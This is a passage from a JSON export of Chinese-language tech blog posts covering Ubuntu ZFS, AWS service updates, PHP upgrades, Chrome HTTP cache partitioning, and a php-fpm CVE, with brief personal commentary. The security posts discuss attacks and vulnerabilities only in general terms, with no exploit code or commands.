    "body": "看到 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 在安裝時支援 <a href=\"https://en.wikipedia.org/wiki/ZFS\">ZFS</a> 的消息：「<a href=\"https://arstechnica.com/information-technology/2019/10/a-detailed-look-at-ubuntus-new-experimental-zfs-installer/\">A detailed look at Ubuntu’s new experimental ZFS installer</a>」。另外 <a href=\"https://twitter.com/\">Twitter</a> 上也有截圖了：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Thanks to the work from <a href=\"https://twitter.com/didrocks?ref_src=twsrc%5Etfw\">@didrocks</a> and Jean Baptiste ? a number of the <a href=\"https://twitter.com/hashtag/ubuntu?src=hash&amp;ref_src=twsrc%5Etfw\">#ubuntu</a> flavours now have the experimental ZFS ? install option available in 19.10 ? <a href=\"https://t.co/Aux8iCri4p\">pic.twitter.com/Aux8iCri4p</a></p>&mdash; Martin Wimpress (@m_wimpress) <a href=\"https://twitter.com/m_wimpress/status/1181545162905923585?ref_src=twsrc%5Etfw\">October 8, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n看了一下授權問題，看起來是 Ubuntu 認定這樣做不會有問題，但目前還沒被 <a href=\"https://www.oracle.com/\">Oracle</a> 出手，所以也不曉得真的出手後會發生什麼事情...",
    "title": "將 Ubuntu 安裝在 ZFS 上..."
  },
  {
    "id": "9250",
    "body": "在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到朋友貼的統計分析小工具：「<a href=\"https://github.com/thorduri/ministat\">A small tool to do the statistics legwork on benchmarks etc.</a>」，看了一下原來是 <a href=\"https://en.wikipedia.org/wiki/Poul-Henning_Kamp\">phk</a> 寫的，後來被拉出來獨立跑...\r\n\r\n從兩個檔案讀取兩組數列，然後用 <a href=\"https://zh.wikipedia.org/wiki/%E5%AD%B8%E7%94%9Ft%E6%AA%A2%E9%A9%97\">Student's t-test</a> 分析的小工具，在 manpage 裡面可以看到說明：\r\n\r\n<blockquote>Specify desired confidence level for Student's T analysis. Possible values are 80, 90, 95, 98, 99 and 99.5 %</blockquote>\r\n\r\n雖然說有些人不喜歡 Student's t-test 被濫用，不過畢竟還是一套合理的數學方法，在分析的時候可以快速的判斷...\r\n\r\n翻了一下發現 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 也有得裝：「<a href=\"https://packages.ubuntu.com/search?keywords=ministat\">Ubuntu – Package Search Results -- ministat</a>」。",
    "title": "phk 的 ministat"
  },
  {
    "id": "9251",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 這次在 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 上推出了新功能，可以直接透過機器學習的演算法，對 CloudWatch 所記錄的值提供異常偵測 (anomaly detection) 的能力：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-cloudwatch-anomaly-detection/\">New – Amazon CloudWatch Anomaly Detection</a>」，對應的文件則可以在「<a href=\"https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Anomaly_Detection.html\">Using CloudWatch Anomaly Detection</a>」這邊讀到。\r\n\r\n這個功能可以抓一個預期的區間出來，然後針對超出區間時發出警報：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rCg1FfC.webp\" /><img src=\"https://i.gslin.com/imgur/rCg1FfC.jpg\" alt=\"\" /></picture>\r\n\r\n這邊感覺把以前很多工作自動化掉了，省了很多事情...",
    "title": "AWS 推出了 Anomaly Detection"
  },
  {
    "id": "9252",
    "body": "在「<a href=\"https://blog.josephscott.org/2019/10/16/prepare-for-fewer-cache-hits-as-chrome-partitions-their-http-cache/\">Prepare For Fewer Cache Hits As Chrome Partitions Their HTTP Cache</a>」這邊看到的，<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 打算要拆開 HTTP Cache 以提昇安全性與隱私性。\r\n\r\n有 cache 跟沒有 cache 可以從讀取時間猜測出來，這樣就可以知道瀏覽器是否有這個特定 url 的 cache。\r\n\r\n在原文的作者所給的例子沒有這麼明顯，這邊舉個實際一點的例子來說好了... 我想要知道你有沒有看過 <a href=\"https://zonble.net/\">zonble</a> 的「<a href=\"https://zonble.net/archives/2017_01/1751.php\">返校</a>」這篇文章，我就拿這篇文章裡面特有的資源來判斷。\r\n\r\n以這篇文章來說，我可以選擇第一張圖片的網址 <code>https://i0.wp.com/c1.staticflickr.com/1/603/31746363443_3c4f33ab18_n.jpg?resize=320%2C200&amp;ssl=1</code> 這個 url 來判斷讀取時間，藉此我就可以反推你有沒有看過這篇文章，達到攻擊隱私的效果。\r\n\r\n解決的方法就是作者文章裡所提到的方法，把 HTTP cache 依照不同的網站而分開 (在 <a href=\"https://www.apple.com/safari/\">Safari</a> 已經支援這個功能，而 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 正在研究中)。\r\n\r\n當然這樣做應該會對流量有些影響，但考慮到這些日子有很多新技術可以增加下載速度，這個功能應該是還能做...",
    "title": "Google Chrome 要藉由拆開 HTTP Cache 提昇隱私"
  },
  {
    "id": "9253",
    "body": "上次是 2018 年五月把 <a href=\"https://www.php.net/\">PHP</a> 換到 7.2 (參考「<a href=\"https://blog.gslin.org/archives/2018/05/09/8318/%e6%8a%8a-blog-%e6%8f%9b%e6%88%90-php-7-2/\">把 Blog 換成 PHP 7.2</a>」)，這次是在整理機器時發現 blog 這台機器還在跑 7.2，就更新一下系統把上面的站台都換到 7.3。\r\n\r\n蠻多人都測過效能了 (像是「<a href=\"https://kinsta.com/blog/php-benchmarks/\">The Definitive PHP 5.6, 7.0, 7.1, 7.2 &amp; 7.3 Benchmarks (2019)</a>」)，目前看到的資料都會快一些，應該是沒有太大問題，之後可以考慮再把 <a href=\"https://www.php.net/manual/en/book.opcache.php\">OPcache</a> 的可用空間大小再降一些 (預設是 128 MB，但用 <a href=\"https://github.com/rlerdorf/opcache-status\">opcache-status</a> 看起來只用了 65 MB 左右)，把記憶體空間讓給其他程式用...\r\n\r\n不過 7.4 也快出了...",
    "title": "換到 PHP 7.3"
  },
  {
    "id": "9254",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 宣佈了第 200 個點，同時也宣佈了南美的價錢從 11 月開始降價 56%：「<a href=\"https://aws.amazon.com/blogs/aws/200-amazon-cloudfront-points-of-presence-price-reduction/\">200 Amazon CloudFront Points of Presence + Price Reduction</a>」。\r\n\r\n這次的降價幅度相當驚人，南美的頻寬本來是全 CloudFront 裡最高的，現次一降就降到比整個亞洲區的價錢都還低了，不知道是弄到什麼新合約：\r\n\r\n<blockquote>We are also reducing the pricing for on-demand data transfer from CloudFront by 56% for all Points of Presence in South America, effective November 1, 2019.</blockquote>\r\n\r\n不過這個比較不包括 AWS 中國區的價錢 (獨立的系統)，在中國的價錢是 CNY$0.30866/GB，換算成美金大約是 USD$0.04/GB。\r\n\r\n這次加的三個點也都是在南美的新的點：\r\n\r\n<blockquote>Today I am happy to announce that our global network continues to grow, and now includes 200 Points of Presence, including new locations in Argentina (198), Chile (199), and Colombia (200):</blockquote>",
    "title": "Amazon CloudFront 在南美大降價..."
  },
  {
    "id": "9255",
    "body": "這次的漏洞是在打 CTF (capture the flag) 的時候發現的，這個安全漏洞已經被給 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a> 編號並且修正了：「<a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11043\">CVE-2019-11043</a>」，回報者與官方的討論可以在「<a href=\"https://bugs.php.net/bug.php?id=78599\">Sec Bug #78599 env_path_info underflow in fpm_main.c can lead to RCE</a>」這邊看到。從回報的標題可以知道這次頗熱鬧的原因，是因為這次有機會 RCE (remote code execution)...\r\n\r\n在「<a href=\"https://github.com/neex/phuip-fpizdam\">PHuiP-FPizdaM</a>」這邊可以看到比較系統性的整理 (以及 exploit)，看起來雖然有不少條件，但都不算太特別的指令，如果以全世界的機器來看，應該會有不少機器中獎...",
    "title": "最近的 nginx + php-fpm 安全性漏洞"
  },
  {
    "id": "9256",
    "body": "會看到「<a href=\"https://github.com/TeamNewPipe/NewPipe\">NewPipe</a>」這個軟體，是因為之前有抹黑 NewPipe 的事情而看到的 (可以參考「<a href=\"https://github.com/TeamNewPipe/NewPipe/issues/2723\">My Google account got suspended because of NewPipe #2723</a>」這邊)，這個軟體的目標是在 <a href=\"https://www.android.com/\">Android</a> 上不使用 <a href=\"https://www.google.com/\">Google</a> 在 Android 上的專屬 API，以及 <a href=\"https://www.youtube.com/\">YouTube</a> 的 API，純粹爬頁面提供對應的影音服務：\r\n\r\n<blockquote>NewPipe does not use any Google framework libraries, nor the YouTube API. Websites are only parsed to fetch required info, so this app can be used on devices without Google services installed. Also, you don't need a YouTube account to use NewPipe, which is copylefted libre software.</blockquote>\r\n\r\n除了 YouTube 以外，目前還支援兩個服務：\r\n\r\n<blockquote><ul>\r\n\t<li>YouTube</li>\r\n\t<li>SoundCloud [beta]</li>\r\n\t<li>media.ccc.de [beta]</li>\r\n</ul></blockquote>\r\n\r\n然後分析頁面內容這種方式提供 YouTube 服務當然無法上 <a href=\"https://www.google.com/\">Google</a> 自家的 <a href=\"https://play.google.com/\">Google Play Store</a>，需要先安裝 <a href=\"https://f-droid.org/\">F-Droid</a>，然後再用 F-Droid 搜尋並下載。\r\n\r\n用起來其實還不錯，一樣有播放記錄但是是存在本機，而且看起來可以匯出匯入；有書籤功能可以管理影片。整體的自主性高不少...\r\n\r\n然後測到現在還沒看到廣告，這應該也是好用的地方...",
    "title": "在 Android 上的 NewPipe (YouTube 播放器)"
  },
  {
    "id": "9258",
    "body": "從 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.reddit.com/\">Reddit</a> 上的消息 (看起來有陣子了)：「<a href=\"https://www.reddit.com/r/privacy/comments/di5rn3/startpage_is_now_owned_by_an_advertising_company/\">Startpage is now owned by an advertising company</a>」。\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Startpage.com\">Startpage</a> 算是之前有在用的 default search engine，但發現有很多 bug 後就不太用了。目前還是先設 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a>，然後在需要的時候用之前寫的 <a href=\"https://github.com/gslin/press-g-to-google-duckduckgo\">press-g-to-google-duckduckgo</a> 切到 <a href=\"https://www.google.com/\">Google</a> 去找...\r\n\r\nDuckDuckGo 還是有搜尋品質的問題...",
    "title": "Startpage 被廣告公司收購"
  },
  {
    "id": "9260",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://github.com/mgartner/pg_flame\">mgartner/pg_flame</a> 這個專案，可以把 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 <code>EXPLAIN</code> 結果 (JSON 格式) 轉成 Flamegraph (用 HTML 呈現)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3rboQ2i.webp\" /><img src=\"https://i.gslin.com/imgur/3rboQ2i.jpg\" alt=\"\" /></picture>\r\n\r\n不過我是直接看 <code>EXPLAIN</code> 的輸出比較習慣... 但如果需要做投影片的時候，應該是個好工具？",
    "title": "把 PostgreSQL 的 EXPLAIN 轉成 Flamegraph"
  },
  {
    "id": "9262",
    "body": "<a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 居然加開服務區域了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/10/amazon-ses-is-now-available-in-three-additional-aws-regions/\">Amazon SES is Now Available in Three Additional AWS Regions</a>」。\r\n\r\n當初猜測一直沒增加的原因是法規的問題，各國對於 spam 的處理方式不同，有些地區可能會導致 <a href=\"https://aws.amazon.com/\">AWS</a> 有連帶責任之類的。這次還是沒開日本與新加坡，看起來應該也是評估後覺得不會有問題的才開：\r\n\r\n<blockquote>Amazon Simple Email Service (Amazon SES) is now available in the Asia Pacific (Mumbai), Asia Pacific (Sydney), and EU (Frankfurt) Regions, in addition to the US East (Virginia), US West (Oregon), and Europe (Ireland) regions.</blockquote>\r\n\r\n這樣看起來對於東京的使用者應該還是會去用美西的服務，但新加坡的使用者就有機會改用澳洲的服務了...",
    "title": "Amazon SES 增開三區..."
  },
  {
    "id": "9263",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 自己推出了跟 <a href=\"https://wordpress.org/\">WordPress</a> 的整合套件：「<a href=\"https://aws.amazon.com/blogs/networking-and-content-delivery/accelerating-wordpress-with-cloudfront-using-the-aws-for-wordpress-plugin/\">Accelerating WordPress with CloudFront using the AWS for WordPress Plugin</a>」、「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/10/aws-for-wordpress-plugin-now-available-and-with-new-amazon-cloudfront-workflow/\">AWS for WordPress plugin now available and with new Amazon CloudFront workflow</a>」。\r\n\r\n這次的套件主要是將 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 整合進 WordPress：\r\n\r\n<blockquote>Amazon Web Services announces the general availability of the AWS for WordPress plugin. Previously known as the Amazon Polly and Amazon AI plugin, the new AWS for WordPress plugin now provides a workflow to configure an Amazon CloudFront distribution that is highly optimized for WordPress websites.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wNkxyVJ.webp\" /><img src=\"https://i.gslin.com/imgur/wNkxyVJ.jpg\" alt=\"\" /></picture>\r\n\r\n如果想要都控制在自己手上，AWS 算是提供了一個官方的方案，也應該有一定的支援。不過大多數人還是會拿 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的免費方案吧...",
    "title": "AWS 官方推出 WordPress 整合套件"
  },
  {
    "id": "9264",
    "body": "這幾年量子電腦的進展不斷有突破，雖然到對於攻擊現有的密碼學看起來還有一段時間，但總是得先開始研究對量子電腦有抵抗性的演算法...\r\n\r\n其中 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的團隊與 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 的團隊手上都有夠大的產品，兩個團隊合作測試的結果在學界與業界都還蠻重視的：「<a href=\"https://www.imperialviolet.org/2019/10/30/pqsivssl.html\">Real-world measurements of structured-lattices and supersingular isogenies in TLS</a>」、「<a href=\"https://blog.cloudflare.com/the-tls-post-quantum-experiment/\">The TLS Post-Quantum Experiment</a>」。\r\n\r\nGoogle Chrome 這邊是使用了 Canary 與 Dev 兩個 channel，有控制組與兩個新的演算法：\r\n\r\n<blockquote>Google Chrome installs, on Dev and Canary channels, and on all platforms except iOS, were randomly assigned to one of three groups: control (30%), CECPQ2 (30%), or CECPQ2b (30%). (A random ten percent of installs did not take part in the experiment so the numbers only add up to 90.)</blockquote>\r\n\r\n這兩個演算法有優點也有缺點。一個是 key 比較小，但運算起來比較慢 (SIKE，CECPQ2b)；另外一個是 key 比較大，但是運算比較快 (HRSS，CECPQ2)：\r\n\r\n<blockquote>For our experiment, we chose two algorithms: isogeny-based SIKE and lattice-based HRSS. The former has short key sizes (~330 bytes) but has a high computational cost; the latter has larger key sizes (~1100 bytes), but is a few orders of magnitude faster.</blockquote>\r\n\r\n<blockquote>We enabled both CECPQ2 (HRSS + X25519) and CECPQ2b (SIKE/p434 + X25519) key-agreement algorithms on all TLS-terminating edge servers.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EISsBMC.webp\" /><img src=\"https://i.gslin.com/imgur/EISsBMC.jpg\" alt=\"\" /></picture>\r\n\r\n感覺還是會繼續嘗試，因為這兩個演算法的缺點都還是有點致命...",
    "title": "Google 與 Cloudflare 測試 Post-Quantum 演算法的成果"
  },
  {
    "id": "9266",
    "body": "在「<a href=\"https://undeadly.org/cgi?action=article;sid=20191102232555\">U2F support in OpenSSH HEAD</a>」這邊看到 <a href=\"https://www.openssh.com/\">OpenSSH</a> 的 HEAD 支援 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 了，使用的命名叫做 <code>sk-ecdsa-sha2-nistp256@openssh.com</code>。\r\n\r\n照 mailing list 上更完整的說明「<a href=\"https://marc.info/?l=openssh-unix-dev&m=157259802529972&w=2\">U2F support in OpenSSH HEAD</a>」，看起來是當主要的 key，而不是當 MFA，也許再研究看看...",
    "title": "OpenSSH 支援 U2F"
  },
  {
    "id": "9270",
    "body": "<a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 有 IA 的儲存方案，儲存的價位便宜很多，但需要另外收存取費用。不過這對於丟 log 之類的倒是還算方便，很多現有的程式就可以直接往裡面丟...\r\n\r\n不過系統的設計上不是讓你指定哪些檔案放到 IA，而是設定 Lifecycle Management Policy 以及時間，當超過指定的時間後就會安排搬到 IA 裡面。\r\n\r\n先前最低的時間是 14 天，剛剛看到 AWS 宣佈有 7 天的選項了，從 web console 上就可以看到選項可以選了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/amazon-elastic-file-system-infrequent-access-now-supports-7-day-lifecycle-management-policy/\">Amazon Elastic File System Infrequent Access Now Supports a 7-day Lifecycle Management Policy</a>」。\r\n\r\n這樣對於開始堆資料的人，一開始塞東西進去而需要付 Standard Storage 的時間可以少蠻多的...",
    "title": "Amazon EFS 提供 7 天的 IA 選項"
  },
  {
    "id": "9271",
    "body": "前幾天看到 <a href=\"https://aws.amazon.com/\">AWS</a> 推出新的折扣方式，也就是「<a href=\"https://aws.amazon.com/blogs/aws/new-savings-plans-for-aws-compute-services/\">New – Savings Plans for AWS Compute Services</a>」這篇。裡面給了兩個新的折扣模式：\r\n\r\n<ul>\r\n\t<li>Compute Savings Plans</li>\r\n\t<li>EC2 Instance Savings Plans</li>\r\n</ul>\r\n\r\n首先是 Compute Savings Plans，不限制地區，而且包括了很多類型的服務，不僅是 <a href=\"https://aws.amazon.com/ec2/\">EC2</a>：\r\n\r\n<blockquote>The plans automatically apply to any EC2 instance regardless of region, instance family, operating system, or tenancy, including those that are part of EMR, ECS, or EKS clusters, or launched by Fargate.</blockquote>\r\n\r\n而 EC2 Instance Savings Plans 則是只有在 EC2 上使用，需要指定地區與機型：\r\n\r\n<blockquote>Just like with RIs, your savings plan covers usage of different sizes of the same instance type (such as a c5.4xlarge or c5.large) throughout a region.</blockquote>\r\n\r\n就目前的理解來看，EC2 Instance Savings Plans 其實就是換個包裝的 Regional RIs，因為 Regional RIs 本來就可以給同個 family type 使用 (沒有使用到的 <code>c5.xlarge</code> RI 可以拿到 <code>c5.2xlarge</code> 使用，照比率抵一半計算，另外一半照正常價錢)。\r\n\r\nCompute Savings Plans 算是新的東西，你給個 hourly commit 付錢後，很多服務都可以使用這筆 hourly commit 折抵。",
    "title": "AWS 新的折扣方式 (Saving Plans)"
  },
  {
    "id": "9272",
    "body": "在「<a href=\"https://www.postgresql.org/about/news/1993/\">PostgreSQL Anonymizer 0.5: Generalization and k-anonymity</a>」這邊看到的套件，看起來可以做到一些常見而且簡單的去識別化功能：\r\n\r\n<blockquote>The extension supports 3 different anonymization strategies: Dynamic Masking, In-Place Anonymization and Anonymous Dumps. It also offers a large choice of Masking Functions: Substitution, Randomization, Faking, Partial Scrambling, Shuffling, Noise Addition and Generalization.</blockquote>\r\n\r\n看起來可以把欄位轉成 range 這件事情半自動化處理掉 (還是需要 SQL 本身呼叫這些函數)，之後遇到 PII 的時候也許會用到...",
    "title": "PostgreSQL 上去識別化的套件"
  },
  {
    "id": "9274",
    "body": "上個禮拜四家裡的桌機開不了機，找了一天發現是系統的 SSD 掛掉了，就買了張 M.2 SSD，然後計畫順便把本來的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 升級到 Ubuntu 18.04，但 Ubuntu 18.04 把預設的界面從 <a href=\"https://en.wikipedia.org/wiki/Unity_(user_interface)\">Unity</a> 換成 <a href=\"https://en.wikipedia.org/wiki/GNOME\">GNOME</a> (然後披上 Unity 的皮)，加上前陣子系統從 <a href=\"https://www.intel.com/\">Intel</a> 平台換到 <a href=\"https://www.amd.com/\">AMD</a>，整個狀況變得超混亂之後，就變成一連串踩地雷的過程...\r\n\r\n最一開始是 UEFI + LUKS 的安裝問題，本來想裝到 M.2 SSD 上面，但 Ubuntu 18.04 的 <code>grub-install</code> 就是硬寫到 <code>/dev/sda</code> 不能改：「<a href=\"https://askubuntu.com/questions/459620/unable-to-install-grub-in-dev-sda-when-installing-grub\">“Unable to install GRUB in /dev/sda” when installing GRUB</a>」，照著這篇的 workaround 用還是不行，最後放棄，直接生一顆 SATA SSD 接到 SATA Port 1，把 M.2 當作資料碟。\r\n\r\n硬體相關的問題：\r\n\r\n<ul>\r\n\t<li>AMD 的 3700X 在 Linux 下還是有人會遇到 C6 bug，如果有遇到的話可以透過 BIOS 的設定 (workaround) 避免：「<a href=\"https://www.reddit.com/r/Amd/comments/cik3q1/can_we_recognize_broken_c6_states_in_all_of_zen/\">Can we recognize broken C6 states in all of Zen, Zen+ and Zen2? Striking people at idle (Mostly only Linux and BSD users)</a>」</li>\r\n\t<li>華碩的主機板內建了 <a href=\"https://ark.intel.com/content/www/us/en/ark/products/64404/intel-ethernet-controller-i211-at.html\">Intel I211-AT</a> 這個網路卡 (家裡用 <a href=\"https://www.asus.com/tw/Motherboards/ROG-STRIX-B450-F-GAMING/\">ASUS ROG STRIX B450-F GAMING</a>，公司用 <a href=\"https://www.asus.com/tw/Motherboards/PRIME-X470-PRO/\">ASUS PRIME X470-PRO</a>)，但在 Linux 下用起來很卡 (kernel 版本是 4.15 與 5.0)，與網路有關的指令有時候會卡個幾秒鐘 (像是 <code>ifconfig</code> 或是 <code>ip link</code> 這樣的指令)。</li>\r\n\t<li>續上，家裡的因為剛好週末有時間交叉測試，測了三四天後嘗試另外插一張 Intel 的網路卡 (PCI-E) 後改接過去就解決了... 到公司後先拿 USB 網卡測試看看，如果真的就不卡的話再找一張 PCI-E 的網卡換掉。</li>\r\n</ul>\r\n\r\n軟體相關的問題：\r\n\r\n<ul>\r\n\t<li>目前不支援從 GUI 設定 PPPoE 的網路 (沃槽)，幾種方式裡面我推薦用 <code>pppoeconf</code> 設定會比較好，然後可以改 <code>/etc/ppp/options</code> 加上 IPv6 的設定。</li>\r\n\t<li>本來想裝 <a href=\"https://packages.ubuntu.com/bionic/gnome-shell-extension-system-monitor\">gnome-shell-extension-system-monitor</a> 觀察系統狀態，但會造成系統超級卡，關掉後就變成普通的卡 (後來就找到 Intel I211-AT 的那個問題了)。</li>\r\n</ul>\r\n\r\n現在至少是堪用的程度了，接下來就是不斷的補各種設定...",
    "title": "家裡電腦裝 Ubuntu 18.04"
  },
  {
    "id": "9275",
    "body": "再 <a href=\"https://www.osnews.com/\">OSnew</a> 上看到「<a href=\"https://www.osnews.com/story/130916/windows-10-to-disallow-wep-encryption/\">Windows 10 to disallow WEP encryption</a>」這個消息，裡面題到了 <a href=\"https://en.wikipedia.org/wiki/Windows_10\">Windows 10</a> 打算要幹掉無線網路的 <a href=\"https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy\">WEP</a> 支援。裡面是引用了「<a href=\"https://docs.microsoft.com/en-us/windows/deployment/planning/windows-10-deprecated-features\">Windows 10 features we’re no longer developing</a>」這則消息，可以看到除了 WEP 以外，還有 TKIP 也打算拔掉：\r\n\r\n<blockquote>Since the 1903 release, a warning message has appeared when connecting to Wi-Fi networks secured with WEP or TKIP (which are not as secure as those using WPA2 or WPA3). In a future release, any connection to a Wi-Fi network using these old ciphers will be disallowed. Wi-Fi routers should be updated to use AES ciphers, available with WPA2 or WPA3.</blockquote>\r\n\r\n之前去日本的時候還是有不少飯店用 WEP 啊，看起來總算有動力要淘汰了...",
    "title": "Windows 10 想要拿掉 WEP 與 TKIP..."
  },
  {
    "id": "9278",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的數學邏輯問題：「<a href=\"https://math.stackexchange.com/questions/2217248/which-answer-in-this-list-is-the-correct-answer-to-this-question\">“Which answer in this list is the correct answer to this question?”</a>」。\r\n\r\n問題是這樣：\r\n\r\n<blockquote>Which answer in this list is the correct answer to this question?\r\n\r\n<ul>\r\n\t<li>All of the below.</li>\r\n\t<li>None of the below.</li>\r\n\t<li>All of the above.</li>\r\n\t<li>One of the above.</li>\r\n\t<li>None of the above.</li>\r\n\t<li>None of the above.</li>\r\n</ul></blockquote>\r\n\r\naccepted 的那個是推演的答案，但最高分的那個是寫程式窮舉 XDDD (不得不說大家都很愛這味...)",
    "title": "用程式解數學邏輯問題..."
  },
  {
    "id": "9279",
    "body": "看到「<a href=\"https://arxiv.org/abs/1910.05109\">Base64 encoding and decoding at almost the speed of a memory copy</a>」這個，可以超級快速編解碼 <a href=\"https://en.wikipedia.org/wiki/Base64\">Base64</a> 的資料。\r\n\r\n實做上是透過 <a href=\"https://www.intel.com/\">Intel</a> 的 <a href=\"https://en.wikipedia.org/wiki/AVX-512\">AVX-512</a> 加速，在資料夠大的情況下 (超過 L1 cache 的大小)，可以達到接近字串複製的速度 (這邊提到的 <code>memcpy()</code>)：\r\n\r\n<blockquote>We show how we can encode and decode base64 data at nearly the speed of a memory copy (memcpy) on recent Intel processors, as long as the data does not fit in the first-level (L1) cache. We use the SIMD (Single Instruction Multiple Data) instruction set AVX-512 available on commodity processors. Our implementation generates several times fewer instructions than previous SIMD-accelerated base64 codecs.</blockquote>\r\n\r\n不過這樣 <a href=\"https://www.amd.com/\">AMD</a> 暫時要哭哭...",
    "title": "超快速的 Base64 encoding/decoding 實做"
  },
  {
    "id": "9281",
    "body": "<a href=\"https://www.sandboxie.com/\">Sandboxie</a> 目前是 <a href=\"https://www.sophos.com/\">Sophos</a> 旗下的產品，主要的功能是在 Windows 下產生一個獨立的環境 (沙箱) 執行某些應用程式，而這些應用程式的變更雖然會被記錄起來，但不會影響到系統本體，所以先前也買了一套起來拿來跑一些程式...\r\n\r\n剛剛看到消息提到 Sandboxie 決定要 open source：\r\n\r\n<blockquote>Sophos is excited to announce that we are making Sandboxie a free tool, with plans to transition it to an open source tool.</blockquote>\r\n\r\n然後目前看起來還在整理程式碼，在整理完之前會直接先解放目前的版本，讓所有功能都免費使用：\r\n\r\n<blockquote>Until the open source transition is completed we have decided to make all restricted features of Sandboxie completely free.</blockquote>\r\n\r\n不過沒看懂 open source 的原因...",
    "title": "Sandboxie 決定開源"
  },
  {
    "id": "9283",
    "body": "這一個月 <a href=\"https://aws.amazon.com/\">AWS</a> 因為舉辦一年一度的 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a>，會開始陸陸續續放出各種消息... 這次是 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 宣佈支援 spatial data，這樣一來就能夠方便的處理座標資料了：「<a href=\"https://aws.amazon.com/blogs/aws/using-spatial-data-with-amazon-redshift/\">Using Spatial Data with Amazon Redshift</a>」。\r\n\r\n支援的種類與使用的限制可以在官方的文件裡面看到，也就是「<a href=\"https://docs.aws.amazon.com/redshift/latest/dg/geospatial-overview.html\">Querying Spatial Data in Amazon Redshift</a>」與「<a href=\"https://docs.aws.amazon.com/redshift/latest/dg/spatial-limitations.html\">Limitations When Using Spatial Data with Amazon Redshift</a>」這兩篇。\r\n\r\n其實限制還蠻多的，而其中這條看起來有點痛，擴充性受到限制：\r\n\r\n<blockquote>Data types for Python user-defined functions (UDFs) don't support the GEOMETRY data type.</blockquote>\r\n\r\n看起來暫時是先支援計算的部份，之後看看有沒有機會變成原生型態的支援，這樣使用起來才會比較順...",
    "title": "Amazon Redshift 可以處理座標資料了"
  },
  {
    "id": "9284",
    "body": "先前 <a href=\"https://aws.amazon.com/ground-station/\">AWS Ground Station</a> 提供的地面站都在美國 (美東與美西)，這代表有些衛星就打不到了... 這次宣佈增加中東巴林的點，差不多是美西的對面，也因此增加了不少涵蓋率：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/aws-ground-station-now-available-in-middle-east-bahrain-region/\">AWS Ground Station is now available in Middle East (Bahrain) region</a>」。\r\n\r\n雖然現在的公司有在用衛星，但以價錢與支援的頻帶看起來，應該連測試都沒機會... XD",
    "title": "AWS Ground Station 增加了巴林的基地站"
  },
  {
    "id": "9285",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <a href=\"https://aws.amazon.com/ec2/autoscaling/\">Auto Scaling</a> 增加了兩個功能，一個是 instance 可以有權重了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/amazon-ec2-auto-scaling-supports-instance-weighting/\">Amazon EC2 Auto Scaling Now Supports Instance Weighting</a>」，另外一個是可以設定 instance 活多久就要換一台：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/amazon-ec2-auto-scaling-supports-max-instance-lifetime/\">Amazon EC2 Auto Scaling Now Supports Maximum Instance Lifetime</a>」。\r\n\r\n前面的 instance weighting 這個功能對於會混多種不同 family type 的情境會好用不少 (像是同時混用 <code>{c3,c4,c5}.xlarge</code>)，可以讓設定上細緻一些，不然就只能以效能最低的那個類型規劃...\r\n\r\n後面的 maximum instance lifetime 這個功能看起來可以拿來解各種 resource leak 的情境，而且現在 EC2 instance 是以秒計費，所以不用太擔心成本浪費太多的問題... 這樣不管是 memory leak 還是 <code>/tmp</code> 下暫存檔懶的清的問題，都可以很順利的逃避現實 XDDD",
    "title": "EC2 的 Auto Scaling 增加了兩個功能"
  },
  {
    "id": "9286",
